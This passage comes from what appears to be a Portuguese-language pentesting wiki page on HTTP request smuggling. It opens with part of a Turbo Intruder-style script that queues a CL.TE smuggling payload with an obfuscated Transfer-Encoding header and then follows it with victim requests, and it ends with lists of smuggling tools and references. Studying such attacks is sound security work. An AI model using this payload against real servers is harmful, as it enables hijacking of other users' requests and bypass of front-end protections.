maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Ferramentas
- HTTP Hacker (Burp BApp Store) – visualizar concatenação/framing e comportamento HTTP de baixo nível
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Ação personalizada do Burp Repeater "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: Esta ferramenta é um HTTP Fuzzer baseado em gramática, útil para encontrar discrepâncias estranhas de request smuggling.
Referências
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Cuidado com o falso falso‑positivo: como distinguir HTTP pipelining de request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
{{#include ../../banners/hacktricks-training.md}}
